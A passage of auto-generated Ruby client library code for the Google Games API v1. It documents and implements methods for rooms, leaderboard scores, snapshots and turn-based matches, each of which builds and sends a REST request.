# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# Overrides userIp if both are provided.
# @param [String] user_ip
# IP address of the site where the request originates. Use this if you want to
# enforce per-user limits.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [NilClass] No result returned for this method
# @yieldparam err [StandardError] error object if request failed
#
# @return [void]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def dismiss_room(room_id, fields: nil, quota_user: nil, user_ip: nil, options: nil, &block)
command = make_simple_command(:post, 'rooms/{roomId}/dismiss', options)
command.params['roomId'] = room_id unless room_id.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
command.query['userIp'] = user_ip unless user_ip.nil?
execute_or_queue_command(command, &block)
end
# Get the data for a room.
# @param [String] room_id
# The ID of the room.
# @param [String] language
# The preferred language to use for strings returned by this method.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# Overrides userIp if both are provided.
# @param [String] user_ip
# IP address of the site where the request originates. Use this if you want to
# enforce per-user limits.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::GamesV1::Room] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::GamesV1::Room]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def get_room(room_id, language: nil, fields: nil, quota_user: nil, user_ip: nil, options: nil, &block)
command = make_simple_command(:get, 'rooms/{roomId}', options)
command.response_representation = Google::Apis::GamesV1::Room::Representation
command.response_class = Google::Apis::GamesV1::Room
command.params['roomId'] = room_id unless room_id.nil?
command.query['language'] = language unless language.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
command.query['userIp'] = user_ip unless user_ip.nil?
execute_or_queue_command(command, &block)
end
# Join a room. For internal use by the Games SDK only. Calling this method
# directly is unsupported.
# @param [String] room_id
# The ID of the room.
# @param [Google::Apis::GamesV1::JoinRoomRequest] join_room_request_object
# @param [String] language
# The preferred language to use for strings returned by this method.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# Overrides userIp if both are provided.
# @param [String] user_ip
# IP address of the site where the request originates. Use this if you want to
# enforce per-user limits.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::GamesV1::Room] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::GamesV1::Room]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def join_room(room_id, join_room_request_object = nil, language: nil, fields: nil, quota_user: nil, user_ip: nil, options: nil, &block)
command = make_simple_command(:post, 'rooms/{roomId}/join', options)
command.request_representation = Google::Apis::GamesV1::JoinRoomRequest::Representation
command.request_object = join_room_request_object
command.response_representation = Google::Apis::GamesV1::Room::Representation
command.response_class = Google::Apis::GamesV1::Room
command.params['roomId'] = room_id unless room_id.nil?
command.query['language'] = language unless language.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
command.query['userIp'] = user_ip unless user_ip.nil?
execute_or_queue_command(command, &block)
end
# Leave a room. For internal use by the Games SDK only. Calling this method
# directly is unsupported.
# @param [String] room_id
# The ID of the room.
# @param [Google::Apis::GamesV1::LeaveRoomRequest] leave_room_request_object
# @param [String] language
# The preferred language to use for strings returned by this method.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# Overrides userIp if both are provided.
# @param [String] user_ip
# IP address of the site where the request originates. Use this if you want to
# enforce per-user limits.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::GamesV1::Room] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::GamesV1::Room]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def leave_room(room_id, leave_room_request_object = nil, language: nil, fields: nil, quota_user: nil, user_ip: nil, options: nil, &block)
command = make_simple_command(:post, 'rooms/{roomId}/leave', options)
command.request_representation = Google::Apis::GamesV1::LeaveRoomRequest::Representation
command.request_object = leave_room_request_object
command.response_representation = Google::Apis::GamesV1::Room::Representation
command.response_class = Google::Apis::GamesV1::Room
command.params['roomId'] = room_id unless room_id.nil?
command.query['language'] = language unless language.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
command.query['userIp'] = user_ip unless user_ip.nil?
execute_or_queue_command(command, &block)
end
# Returns invitations to join rooms.
# @param [String] language
# The preferred language to use for strings returned by this method.
# @param [Fixnum] max_results
# The maximum number of rooms to return in the response, used for paging. For
# any response, the actual number of rooms to return may be less than the
# specified maxResults.
# @param [String] page_token
# The token returned by the previous request.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# Overrides userIp if both are provided.
# @param [String] user_ip
# IP address of the site where the request originates. Use this if you want to
# enforce per-user limits.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::GamesV1::RoomList] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::GamesV1::RoomList]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def list_rooms(language: nil, max_results: nil, page_token: nil, fields: nil, quota_user: nil, user_ip: nil, options: nil, &block)
command = make_simple_command(:get, 'rooms', options)
command.response_representation = Google::Apis::GamesV1::RoomList::Representation
command.response_class = Google::Apis::GamesV1::RoomList
command.query['language'] = language unless language.nil?
command.query['maxResults'] = max_results unless max_results.nil?
command.query['pageToken'] = page_token unless page_token.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
command.query['userIp'] = user_ip unless user_ip.nil?
execute_or_queue_command(command, &block)
end
# Updates sent by a client reporting the status of peers in a room. For internal
# use by the Games SDK only. Calling this method directly is unsupported.
# @param [String] room_id
# The ID of the room.
# @param [Google::Apis::GamesV1::RoomP2PStatuses] room_p2_p_statuses_object
# @param [String] language
# The preferred language to use for strings returned by this method.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# Overrides userIp if both are provided.
# @param [String] user_ip
# IP address of the site where the request originates. Use this if you want to
# enforce per-user limits.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::GamesV1::RoomStatus] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::GamesV1::RoomStatus]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def report_room_status(room_id, room_p2_p_statuses_object = nil, language: nil, fields: nil, quota_user: nil, user_ip: nil, options: nil, &block)
command = make_simple_command(:post, 'rooms/{roomId}/reportstatus', options)
command.request_representation = Google::Apis::GamesV1::RoomP2PStatuses::Representation
command.request_object = room_p2_p_statuses_object
command.response_representation = Google::Apis::GamesV1::RoomStatus::Representation
command.response_class = Google::Apis::GamesV1::RoomStatus
command.params['roomId'] = room_id unless room_id.nil?
command.query['language'] = language unless language.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
command.query['userIp'] = user_ip unless user_ip.nil?
execute_or_queue_command(command, &block)
end
# Get high scores, and optionally ranks, in leaderboards for the currently
# authenticated player. For a specific time span, leaderboardId can be set to
# ALL to retrieve data for all leaderboards in a given time span.
# NOTE: You cannot ask for 'ALL' leaderboards and 'ALL' timeSpans in the same
# request; only one parameter may be set to 'ALL'.
# @param [String] player_id
# A player ID. A value of me may be used in place of the authenticated player's
# ID.
# @param [String] leaderboard_id
# The ID of the leaderboard. Can be set to 'ALL' to retrieve data for all
# leaderboards for this application.
# @param [String] time_span
# The time span for the scores and ranks you're requesting.
# @param [String] include_rank_type
# The types of ranks to return. If the parameter is omitted, no ranks will be
# returned.
# @param [String] language
# The preferred language to use for strings returned by this method.
# @param [Fixnum] max_results
# The maximum number of leaderboard scores to return in the response. For any
# response, the actual number of leaderboard scores returned may be less than
# the specified maxResults.
# @param [String] page_token
# The token returned by the previous request.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# Overrides userIp if both are provided.
# @param [String] user_ip
# IP address of the site where the request originates. Use this if you want to
# enforce per-user limits.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::GamesV1::ListPlayerLeaderboardScoreResponse] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::GamesV1::ListPlayerLeaderboardScoreResponse]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def get_score(player_id, leaderboard_id, time_span, include_rank_type: nil, language: nil, max_results: nil, page_token: nil, fields: nil, quota_user: nil, user_ip: nil, options: nil, &block)
command = make_simple_command(:get, 'players/{playerId}/leaderboards/{leaderboardId}/scores/{timeSpan}', options)
command.response_representation = Google::Apis::GamesV1::ListPlayerLeaderboardScoreResponse::Representation
command.response_class = Google::Apis::GamesV1::ListPlayerLeaderboardScoreResponse
command.params['playerId'] = player_id unless player_id.nil?
command.params['leaderboardId'] = leaderboard_id unless leaderboard_id.nil?
command.params['timeSpan'] = time_span unless time_span.nil?
command.query['includeRankType'] = include_rank_type unless include_rank_type.nil?
command.query['language'] = language unless language.nil?
command.query['maxResults'] = max_results unless max_results.nil?
command.query['pageToken'] = page_token unless page_token.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
command.query['userIp'] = user_ip unless user_ip.nil?
execute_or_queue_command(command, &block)
end
# Lists the scores in a leaderboard, starting from the top.
# @param [String] leaderboard_id
# The ID of the leaderboard.
# @param [String] collection
# The collection of scores you're requesting.
# @param [String] time_span
# The time span for the scores and ranks you're requesting.
# @param [String] language
# The preferred language to use for strings returned by this method.
# @param [Fixnum] max_results
# The maximum number of leaderboard scores to return in the response. For any
# response, the actual number of leaderboard scores returned may be less than
# the specified maxResults.
# @param [String] page_token
# The token returned by the previous request.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# Overrides userIp if both are provided.
# @param [String] user_ip
# IP address of the site where the request originates. Use this if you want to
# enforce per-user limits.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::GamesV1::LeaderboardScores] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::GamesV1::LeaderboardScores]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def list_scores(leaderboard_id, collection, time_span, language: nil, max_results: nil, page_token: nil, fields: nil, quota_user: nil, user_ip: nil, options: nil, &block)
command = make_simple_command(:get, 'leaderboards/{leaderboardId}/scores/{collection}', options)
command.response_representation = Google::Apis::GamesV1::LeaderboardScores::Representation
command.response_class = Google::Apis::GamesV1::LeaderboardScores
command.params['leaderboardId'] = leaderboard_id unless leaderboard_id.nil?
command.params['collection'] = collection unless collection.nil?
command.query['language'] = language unless language.nil?
command.query['maxResults'] = max_results unless max_results.nil?
command.query['pageToken'] = page_token unless page_token.nil?
command.query['timeSpan'] = time_span unless time_span.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
command.query['userIp'] = user_ip unless user_ip.nil?
execute_or_queue_command(command, &block)
end
# Lists the scores in a leaderboard around (and including) a player's score.
# @param [String] leaderboard_id
# The ID of the leaderboard.
# @param [String] collection
# The collection of scores you're requesting.
# @param [String] time_span
# The time span for the scores and ranks you're requesting.
# @param [String] language
# The preferred language to use for strings returned by this method.
# @param [Fixnum] max_results
# The maximum number of leaderboard scores to return in the response. For any
# response, the actual number of leaderboard scores returned may be less than
# the specified maxResults.
# @param [String] page_token
# The token returned by the previous request.
# @param [Fixnum] results_above
# The preferred number of scores to return above the player's score. More scores
# may be returned if the player is at the bottom of the leaderboard; fewer may
# be returned if the player is at the top. Must be less than or equal to
# maxResults.
# @param [Boolean] return_top_if_absent
# True if the top scores should be returned when the player is not in the
# leaderboard. Defaults to true.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# Overrides userIp if both are provided.
# @param [String] user_ip
# IP address of the site where the request originates. Use this if you want to
# enforce per-user limits.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::GamesV1::LeaderboardScores] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::GamesV1::LeaderboardScores]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def list_score_window(leaderboard_id, collection, time_span, language: nil, max_results: nil, page_token: nil, results_above: nil, return_top_if_absent: nil, fields: nil, quota_user: nil, user_ip: nil, options: nil, &block)
command = make_simple_command(:get, 'leaderboards/{leaderboardId}/window/{collection}', options)
command.response_representation = Google::Apis::GamesV1::LeaderboardScores::Representation
command.response_class = Google::Apis::GamesV1::LeaderboardScores
command.params['leaderboardId'] = leaderboard_id unless leaderboard_id.nil?
command.params['collection'] = collection unless collection.nil?
command.query['language'] = language unless language.nil?
command.query['maxResults'] = max_results unless max_results.nil?
command.query['pageToken'] = page_token unless page_token.nil?
command.query['resultsAbove'] = results_above unless results_above.nil?
command.query['returnTopIfAbsent'] = return_top_if_absent unless return_top_if_absent.nil?
command.query['timeSpan'] = time_span unless time_span.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
command.query['userIp'] = user_ip unless user_ip.nil?
execute_or_queue_command(command, &block)
end
# Submits a score to the specified leaderboard.
# @param [String] leaderboard_id
# The ID of the leaderboard.
# @param [Fixnum] score
# The score you're submitting. The submitted score is ignored if it is worse
# than a previously submitted score, where worse depends on the leaderboard sort
# order. The meaning of the score value depends on the leaderboard format type.
# For fixed-point, the score represents the raw value. For time, the score
# represents elapsed time in milliseconds. For currency, the score represents a
# value in micro units.
# @param [String] language
# The preferred language to use for strings returned by this method.
# @param [String] score_tag
# Additional information about the score you're submitting. Values must contain
# no more than 64 URI-safe characters as defined by section 2.3 of RFC 3986.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# Overrides userIp if both are provided.
# @param [String] user_ip
# IP address of the site where the request originates. Use this if you want to
# enforce per-user limits.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::GamesV1::PlayerScoreResponse] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::GamesV1::PlayerScoreResponse]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def submit_score(leaderboard_id, score, language: nil, score_tag: nil, fields: nil, quota_user: nil, user_ip: nil, options: nil, &block)
command = make_simple_command(:post, 'leaderboards/{leaderboardId}/scores', options)
command.response_representation = Google::Apis::GamesV1::PlayerScoreResponse::Representation
command.response_class = Google::Apis::GamesV1::PlayerScoreResponse
command.params['leaderboardId'] = leaderboard_id unless leaderboard_id.nil?
command.query['language'] = language unless language.nil?
command.query['score'] = score unless score.nil?
command.query['scoreTag'] = score_tag unless score_tag.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
command.query['userIp'] = user_ip unless user_ip.nil?
execute_or_queue_command(command, &block)
end
# Submits multiple scores to leaderboards.
# @param [Google::Apis::GamesV1::PlayerScoreSubmissionList] player_score_submission_list_object
# @param [String] language
# The preferred language to use for strings returned by this method.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# Overrides userIp if both are provided.
# @param [String] user_ip
# IP address of the site where the request originates. Use this if you want to
# enforce per-user limits.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::GamesV1::ListPlayerScoreResponse] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::GamesV1::ListPlayerScoreResponse]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def submit_score_multiple(player_score_submission_list_object = nil, language: nil, fields: nil, quota_user: nil, user_ip: nil, options: nil, &block)
command = make_simple_command(:post, 'leaderboards/scores', options)
command.request_representation = Google::Apis::GamesV1::PlayerScoreSubmissionList::Representation
command.request_object = player_score_submission_list_object
command.response_representation = Google::Apis::GamesV1::ListPlayerScoreResponse::Representation
command.response_class = Google::Apis::GamesV1::ListPlayerScoreResponse
command.query['language'] = language unless language.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
command.query['userIp'] = user_ip unless user_ip.nil?
execute_or_queue_command(command, &block)
end
# Retrieves the metadata for a given snapshot ID.
# @param [String] snapshot_id
# The ID of the snapshot.
# @param [String] language
# The preferred language to use for strings returned by this method.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# Overrides userIp if both are provided.
# @param [String] user_ip
# IP address of the site where the request originates. Use this if you want to
# enforce per-user limits.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::GamesV1::Snapshot] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::GamesV1::Snapshot]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def get_snapshot(snapshot_id, language: nil, fields: nil, quota_user: nil, user_ip: nil, options: nil, &block)
command = make_simple_command(:get, 'snapshots/{snapshotId}', options)
command.response_representation = Google::Apis::GamesV1::Snapshot::Representation
command.response_class = Google::Apis::GamesV1::Snapshot
command.params['snapshotId'] = snapshot_id unless snapshot_id.nil?
command.query['language'] = language unless language.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
command.query['userIp'] = user_ip unless user_ip.nil?
execute_or_queue_command(command, &block)
end
# Retrieves a list of snapshots created by your application for the player
# corresponding to the player ID.
# @param [String] player_id
# A player ID. A value of me may be used in place of the authenticated player's
# ID.
# @param [String] language
# The preferred language to use for strings returned by this method.
# @param [Fixnum] max_results
# The maximum number of snapshot resources to return in the response, used for
# paging. For any response, the actual number of snapshot resources returned may
# be less than the specified maxResults.
# @param [String] page_token
# The token returned by the previous request.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# Overrides userIp if both are provided.
# @param [String] user_ip
# IP address of the site where the request originates. Use this if you want to
# enforce per-user limits.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::GamesV1::ListSnapshotResponse] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::GamesV1::ListSnapshotResponse]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def list_snapshots(player_id, language: nil, max_results: nil, page_token: nil, fields: nil, quota_user: nil, user_ip: nil, options: nil, &block)
command = make_simple_command(:get, 'players/{playerId}/snapshots', options)
command.response_representation = Google::Apis::GamesV1::ListSnapshotResponse::Representation
command.response_class = Google::Apis::GamesV1::ListSnapshotResponse
command.params['playerId'] = player_id unless player_id.nil?
command.query['language'] = language unless language.nil?
command.query['maxResults'] = max_results unless max_results.nil?
command.query['pageToken'] = page_token unless page_token.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
command.query['userIp'] = user_ip unless user_ip.nil?
execute_or_queue_command(command, &block)
end
# Cancel a turn-based match.
# @param [String] match_id
# The ID of the match.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# Overrides userIp if both are provided.
# @param [String] user_ip
# IP address of the site where the request originates. Use this if you want to
# enforce per-user limits.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [NilClass] No result returned for this method
# @yieldparam err [StandardError] error object if request failed
#
# @return [void]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def cancel_turn_based_match(match_id, fields: nil, quota_user: nil, user_ip: nil, options: nil, &block)
command = make_simple_command(:put, 'turnbasedmatches/{matchId}/cancel', options)
command.params['matchId'] = match_id unless match_id.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
command.query['userIp'] = user_ip unless user_ip.nil?
execute_or_queue_command(command, &block)
end
# Create a turn-based match.
# @param [Google::Apis::GamesV1::CreateTurnBasedMatchRequest] create_turn_based_match_request_object
# @param [String] language
# The preferred language to use for strings returned by this method.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# Overrides userIp if both are provided.
# @param [String] user_ip
# IP address of the site where the request originates. Use this if you want to
# enforce per-user limits.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::GamesV1::TurnBasedMatch] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::GamesV1::TurnBasedMatch]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def create_turn_based_match(create_turn_based_match_request_object = nil, language: nil, fields: nil, quota_user: nil, user_ip: nil, options: nil, &block)
command = make_simple_command(:post, 'turnbasedmatches/create', options)
command.request_representation = Google::Apis::GamesV1::CreateTurnBasedMatchRequest::Representation
command.request_object = create_turn_based_match_request_object
command.response_representation = Google::Apis::GamesV1::TurnBasedMatch::Representation
command.response_class = Google::Apis::GamesV1::TurnBasedMatch
command.query['language'] = language unless language.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
command.query['userIp'] = user_ip unless user_ip.nil?
execute_or_queue_command(command, &block)
end
# Decline an invitation to play a turn-based match.
# @param [String] match_id
# The ID of the match.
# @param [String] language
# The preferred language to use for strings returned by this method.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# Overrides userIp if both are provided.
# @param [String] user_ip
# IP address of the site where the request originates. Use this if you want to
# enforce per-user limits.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::GamesV1::TurnBasedMatch] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::GamesV1::TurnBasedMatch]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def decline_turn_based_match(match_id, language: nil, fields: nil, quota_user: nil, user_ip: nil, options: nil, &block)
command = make_simple_command(:put, 'turnbasedmatches/{matchId}/decline', options)
command.response_representation = Google::Apis::GamesV1::TurnBasedMatch::Representation
command.response_class = Google::Apis::GamesV1::TurnBasedMatch
command.params['matchId'] = match_id unless match_id.nil?
command.query['language'] = language unless language.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
command.query['userIp'] = user_ip unless user_ip.nil?
execute_or_queue_command(command, &block)
end
# Dismiss a turn-based match from the match list. The match will no longer show
# up in the list and will not generate notifications.
# @param [String] match_id
# The ID of the match.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# Overrides userIp if both are provided.
# @param [String] user_ip
# IP address of the site where the request originates. Use this if you want to
# enforce per-user limits.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [NilClass] No result returned for this method
# @yieldparam err [StandardError] error object if request failed
#
# @return [void]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def dismiss_turn_based_match(match_id, fields: nil, quota_user: nil, user_ip: nil, options: nil, &block)
command = make_simple_command(:put, 'turnbasedmatches/{matchId}/dismiss', options)
command.params['matchId'] = match_id unless match_id.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
command.query['userIp'] = user_ip unless user_ip.nil?
execute_or_queue_command(command, &block)
end
# Finish a turn-based match. Each player should make this call once, after all
# results are in. Only the player whose turn it is may make the first call to
# Finish, and can pass in the final match state.
# @param [String] match_id
# The ID of the match.
# @param [Google::Apis::GamesV1::TurnBasedMatchResults] turn_based_match_results_object
# @param [String] language
# The preferred language to use for strings returned by this method.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# Overrides userIp if both are provided.
# @param [String] user_ip
# IP address of the site where the request originates. Use this if you want to
# enforce per-user limits.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::GamesV1::TurnBasedMatch] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::GamesV1::TurnBasedMatch]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def finish_turn_based_match(match_id, turn_based_match_results_object = nil, language: nil, fields: nil, quota_user: nil, user_ip: nil, options: nil, &block)
command = make_simple_command(:put, 'turnbasedmatches/{matchId}/finish', options)
command.request_representation = Google::Apis::GamesV1::TurnBasedMatchResults::Representation
command.request_object = turn_based_match_results_object
command.response_representation = Google::Apis::GamesV1::TurnBasedMatch::Representation
command.response_class = Google::Apis::GamesV1::TurnBasedMatch
command.params['matchId'] = match_id unless match_id.nil?
command.query['language'] = language unless language.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
command.query['userIp'] = user_ip unless user_ip.nil?
execute_or_queue_command(command, &block)
end
# Get the data for a turn-based match.
# @param [String] match_id
# The ID of the match.
# @param [Boolean] include_match_data
# Get match data along with metadata.
# @param [String] language
# The preferred language to use for strings returned by this method.
# @param [String] fields
